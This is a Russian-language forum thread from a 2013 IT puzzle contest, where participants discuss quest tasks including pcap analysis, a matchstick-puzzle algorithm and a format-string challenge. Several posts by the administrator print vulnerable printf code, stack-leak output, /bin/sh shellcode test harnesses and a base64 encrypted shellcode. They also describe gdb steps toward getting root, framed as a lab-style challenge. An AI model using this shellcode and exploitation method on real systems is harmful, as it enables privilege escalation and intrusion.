Конкурс "Системный Администратор 2013", Первые IT-шные олимпийские игры |
Здравствуйте, гость ( Вход | Регистрация )
Конкурс "Системный Администратор 2013", Первые IT-шные олимпийские игры |
25.8.2013, 0:07
Сообщение
#201
|
|
Junior Member Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262 |
Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь. О Боже что получается пока.. http://codepad.org/8Nt8wZrr Я в правильном направлении? _________________ UPD: что-то туплю, вроде почти готово |
|
|
25.8.2013, 10:00
Сообщение
#202
|
|
Junior Member Группа: Пользователи Сообщений: 71 Регистрация: 25.8.2013 Пользователь №: 1681 |
в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок
|
|
|
25.8.2013, 10:36
Сообщение
#203
|
|
Junior Member Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262 |
в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок Добрый день. Достаточно почти любой программы-анализатора трафика, которая "скушает" .pcap |
|
|
25.8.2013, 13:06
Сообщение
#204
|
|
Junior Member Группа: Пользователи Сообщений: 44 Регистрация: 11.8.2012 Пользователь №: 1267 |
p.s. Судя по стене разработчиков один человек уже решил это задание ... Чертос-2 ... ) Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob P.S. Чувак прекрасно говорит по русски |
|
|
25.8.2013, 14:27
Сообщение
#205
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob P.S. Чувак прекрасно говорит по русски А вот его профиль ... http://itstarz.ru/profile/19833/ ... если предположить что 4 решенных задания - это 1,2,3, 5 - то выходит что за дверь дают всего 30 баллов. Как-то маловато ... 6-е с файлом smile и ANSI в квесте для программеров относительно легкое ... кстати за него 30 баллов и дают. -------------------- |
|
|
25.8.2013, 14:36
Сообщение
#206
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать
-------------------- |
|
|
25.8.2013, 15:09
Сообщение
#207
|
|
Junior Member Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262 |
Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать Полноценно работающего решения еще не придумали. % удачного определения будет не выше, чем (примерно) 70%... |
|
|
25.8.2013, 16:05
Сообщение
#208
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Ну что ж, приступим )))
Для тестирования уязвимости форматной строки я написал простенькую программу: Код #include <stdio.h> void main(int argc, char *argv[]) { printf(argv[1]); } Скоппилил ее: Код gcc e.c -o e Ну и собственно теперь можно удобно издеваться над аргументом, запуская ./e <форматная строка>, так, запустив ./e ---%08X---%08X---%08X---%08X---%08X мы получаем: Код ---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000 Так как printf воспринимает форматные спецификаторы, то, очевидно, что ---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000 является соответствием ---%08X---%08X---%08X---%08X---%08X , т.е. мы видим в шестнадцатеричном представлении значения параметров вызова функции printf. Printf “не знает” о количестве и наличии параметров. Определяющим фактором здесь является лишь форматная строка, которая указывает на наличие таких параметров. Поэтому в качестве параметров выводится текущее содержимое стека. Осталось понять что это именно ... и как это использовать ) p.s. По всей видимости надо с %n разбираться: Цитата Для модификации содержимого стека и данных может быть использован форматный спецификатор %n. Этот спецификатор, редко используемый в обычной практике, осуществляет запись текущей позиции вывода в заданную переменную. Так после выполнения: sprintf(s,”123%n”, &pos); pos будет равен трем, так как до обработки модификатора %n было выведено 3 символа ‘123’. p.p.s. ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING - здесь еще подробнее ... -------------------- |
|
|
25.8.2013, 16:37
Сообщение
#209
|
|
Junior Member Группа: Пользователи Сообщений: 41 Регистрация: 25.8.2013 Из: Казахстан/Алматы Пользователь №: 1682 |
Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь. Ну так подскажи хоть в личку то, что делать дальше?* 407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю |
|
|
25.8.2013, 16:47
Сообщение
#210
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Чуть подробнее, используемая программа:
Код #include <stdio.h> void main(int argc, char *argv[]) { int num = 7; printf(argv[1]); printf("\n"); printf("\nnum = %d, &num = %p\n", num, &num); } Запускаем ее с форматной строкой: Код user@reverse-me:/tmp$ ./e "%08X %08X %08X %08X %08X %08X %08X %08X" B7FDDFF4 08048450 BFFFFD88 B7ECC395 B7FF3380 0804845B 00000007 08048450 num = 7, &num = 0xbffffd7c Думаем ... ) -------------------- |
|
|
25.8.2013, 16:48
Сообщение
#211
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Ну так подскажи хоть в личку то, что делать дальше?* 407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю А слова "Ваш ответ" ты не видишь разве? )) -------------------- |
|
|
25.8.2013, 19:32
Сообщение
#212
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
p.s. Сделал локальную копию консоли из задания с дверью, для запуска на локальном web-сервере (так удобнее) Ковыряю дальше ... p.p.s. Вот shellcode, который работает в jslinux (запускает /bin/sh): Код #include <stdio.h> #include <string.h> char shellcode[] = "\x68\xcd\x80\x68\x68\xeb\xfc\x68" "\x6a\x0b\x58\x31\xd2\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; main() { void (*fp) (void); fp = (void *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); } или другой вариант Код /* setuid(); execve(); exit(); */ #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50" "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0" "\xb0\x01\xcd\x80"; main() { void (*fp) (void); fp = (void *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); } Теперь задача заставить crypto выполнить его ... т.е. сформировать нужную форматную строку ... -------------------- |
|
|
25.8.2013, 22:01
Сообщение
#213
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Отличная презентация по эксплуатации уязвимостей форматной строки. Смотреть с 13-й страницы.
p.s. В приват отвечу всем после решения этого задания. Сейчас нет времени ... увлечен сильно ... p.p.s. А презентация не отличная, а ОТЛИЧНАЯ! 22-я страница - Example: overwrite the return address with 0x08042222 (consider overflow) ... Вообщем смысл в следующем, вначале должен быть наш shellcode, а потом мы должны поменять адрес возврата из fprintf на его начало. Только вот практическая реализация этого с моим опытом займет ОЧЕНЬ много времени. Но будем стараться. Вот версия crypto, которая пишет в файл encrypted каталога из которого она запущена БЕЗ шифрования. Это нужно для удобства отладки шеллкода.
Прикрепленные файлы
-------------------- |
|
|
26.8.2013, 0:54
Сообщение
#214
|
||
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
© http://www.shell-storm.org/shellcode/files/shellcode-256.php Шеллкод не содержащий паттерна 0x80 (int 80h), важно для задания. Код #include <stdio.h> #include <string.h> char shellcode[] = "\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81\xef\x62\xae\x61\x69\x57\xff\xd4"; int main(int argc, char *argv[]) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } Архив содержит два файла - shell9.bin, shell9cry.bin ... shell9.bin - шеллкод, тот что выше, для вызова /bin/sh, shell9cry.bin - зашифрованный по алгоритму crypto shell9.bin ... т.е. если натравить на него crypto - он запишет в encrypted нужный нам шеллкод. shellcodes.7z ( 259 байт ) Кол-во скачиваний: 34 Ну и теперь остается преобразовать shell9cry.bin к форматной строке. Т.е. чтобы на него передалось управление. А вот с этим пока затык. Как занести shell9cry.bin в JSLinux? Да очень просто: Код base64 -d > /tmp/shell9cry.bin <<EOF GdLY0j83F7m0gX/XPxeXMbSBf8fXCWPS0wlhMOOs2AFv4i7h6dd/VAo= EOF Это в клипборде, потом нажимаем кнопку Paste to clipboard и в консоли . /dev/clipboard ... скрипт выполнится и файл создастся. Затем можно загрузить gdb /home/user/crypto ... и поставить breakpoint - b *0x080486a9 перед вызовом fprintf. Смотрим картинку и видим расшифрованный shellcode по адресу $esp+0x14, т.е. 0xbffffc64 ... осталось теперь передать на него управление. -------------------- |
|
|
||
26.8.2013, 6:49
Сообщение
#215
|
|
Junior Member Группа: Пользователи Сообщений: 99 Регистрация: 14.8.2013 Пользователь №: 1665 |
ужас какой-то неужели авторы ждут от конкурсантов такого вот хакерского решения? Как-то не верится... До сих пор задания имели простой и изящный ответ, хотя и путь решения мог быть и трудным. Но так вот извращаться...
|
|
|
26.8.2013, 6:54
Сообщение
#216
|
||
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
ужас какой-то неужели авторы ждут от конкурсантов такого вот хакерского решения? Как-то не верится... До сих пор задания имели простой и изящный ответ, хотя и путь решения мог быть и трудным. Но так вот извращаться... Ужас - не то слово ... )) Но я его почти добил ... осталось преобразовать получившееся в форматную строку ... и тогда если мы запустим crypto шеллкод выполнится и мы получим root. Но вот с этим пока туго. Я бы сказал - я на 75% ... потратив сутки ))) А вот так выглядит процедура шифрования для hiew (т.е. можно взять незашифрованный файл, пробежаться по нему с помощью F7 криптом и получить шифрованный, который можно подавать на вход): Вообщем это самое тяжелое задание, которое я только видел. Кучу всего надо знать и понимать ... (( -------------------- |
|
|
||
26.8.2013, 8:42
Сообщение
#217
|
|
Администратор Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1 |
Для тех кто хочет запустить задание про дверь на локальном web-сервере (запускать обязательно на рабочем web-сервере, просто открыть index.html в браузере недостаточно) - http://rghost.ru/48374151 - полный дамп консоли. Т.е. поместив содержимое архива на локальный web-сервер вы сможете открыть это задание также, как если бы оно было непосредственно на оф. сайте. Вся структура hda - скрипты и т.п. в комплекте. Подойдет также для анализа того, как сделана эта консоль.
p.s. А по заданию собственно пока тупик ... ) Форматную строку, чтобы адрес возврата из fprintf попадал на начало шеллкода, написать я пока не могу Да и рабочая неделя начинается ... -------------------- |
|
|
26.8.2013, 8:44
Сообщение
#218
|
|
Junior Member Группа: Пользователи Сообщений: 133 Регистрация: 10.8.2012 Пользователь №: 1240 |
С алгоритмом я перегнул палку ... нечего по ночам сидеть )) Вообщем словесное описание наверное такое: 1. Перебираем все возможные комбинации валидных начальных положений спичек. Валидными считаются комбинации, когда цифра выглядит как "трафарет" и знаки тоже. Плюс получившееся выражение удовлетворяет одному из 4-х паттернов. Это будет начальное расположение головоломки. 2. Теперь мы должны рассмотреть ВСЕ варианты, можем ли мы перемещением одной спички превратить "начальное выражение", т.е. головоломку в валидное равенство. Это можно сделать с помощью операции ПЕРЕМЕЩЕНИЕ_СПИЧКИ )) Спичку можно перестить с одного символа на другой, а можно с этого на тот же самый. В результате мы получим n-ое количество выражений, если хоть одно из них является валидным равенством, то комбинация является верной головоломкой. Увеличиваем счетчик. Ну а теперь собственно нужно составить таблицы для процедур: МИНУС_СПИЧКА, ПЛЮС_СПИЧКА, МИНУС_ПЛЮС_СПИЧКА. Где первые две составляют перемещение, когда мы сняли спичку с одного символа и поставили на другой, а последнее - когда снятие/постановка спички происходят с одного и того же символа. Такие варианты надо рассмотреть для каждой цифры ... p.s. Никто не хочет заняться? Проверили бы результаты ... я уже начинал тут постом выше для МИНУС_СПИЧКА, то же самое надо сделать для двух остальных процедур. Ну и если у кого какой другой план зреет - пишите, не стесняйтесь )) У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю) Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил Код d[0].inc.add("8");
d[1].inc.add("7"); //d[2].inc.add(""); d[3].inc.add("9"); //d[4].inc.add(""); d[5].inc.add("9"); d[6].inc.add("8"); //d[7].inc.add(""); //d[8].inc.add(""); d[9].inc.add("8"); //d[0].dec.add(""); //d[1].dec.add(""); //d[2].dec.add(""); //d[3].dec.add(""); //d[4].dec.add(""); //d[5].dec.add(""); d[6].dec.add("5"); d[7].dec.add("1"); d[8].dec.add("9"); d[8].dec.add("6"); d[9].dec.add("3"); d[9].dec.add("5"); d[0].rep.add("6"); d[0].rep.add("9"); //d[1].rep.add(""); d[2].rep.add("3"); d[3].rep.add("5"); d[3].rep.add("2"); //d[4].rep.add(""); d[5].rep.add("3"); d[6].rep.add("9"); d[6].rep.add("0"); //d[7].rep.add(""); //d[8].rep.add(""); d[9].rep.add("6"); d[9].rep.add("0"); |
|
|
26.8.2013, 10:03
Сообщение
#219
|
|
Junior Member Группа: Пользователи Сообщений: 54 Регистрация: 21.8.2013 Пользователь №: 1676 |
У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю) Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил Упустил две возможные комбинации: Код d[5].inc.add("6"); d[8].dec.add("0"); Так, к списку минус_плюс_спичка надо добавить +-> = = -> + Преобразования знака + в = и обратно невозможно быть, т.к. полученное выражение не подходит под 4 маски в задании. З.Ы. У меня ответ приняли, за задание 40 баллов дали. |
|
|
26.8.2013, 10:13
Сообщение
#220
|
|
Junior Member Группа: Пользователи Сообщений: 133 Регистрация: 10.8.2012 Пользователь №: 1240 |
|
|
|
Текстовая версия | Сейчас: 31.1.2025, 10:21 | |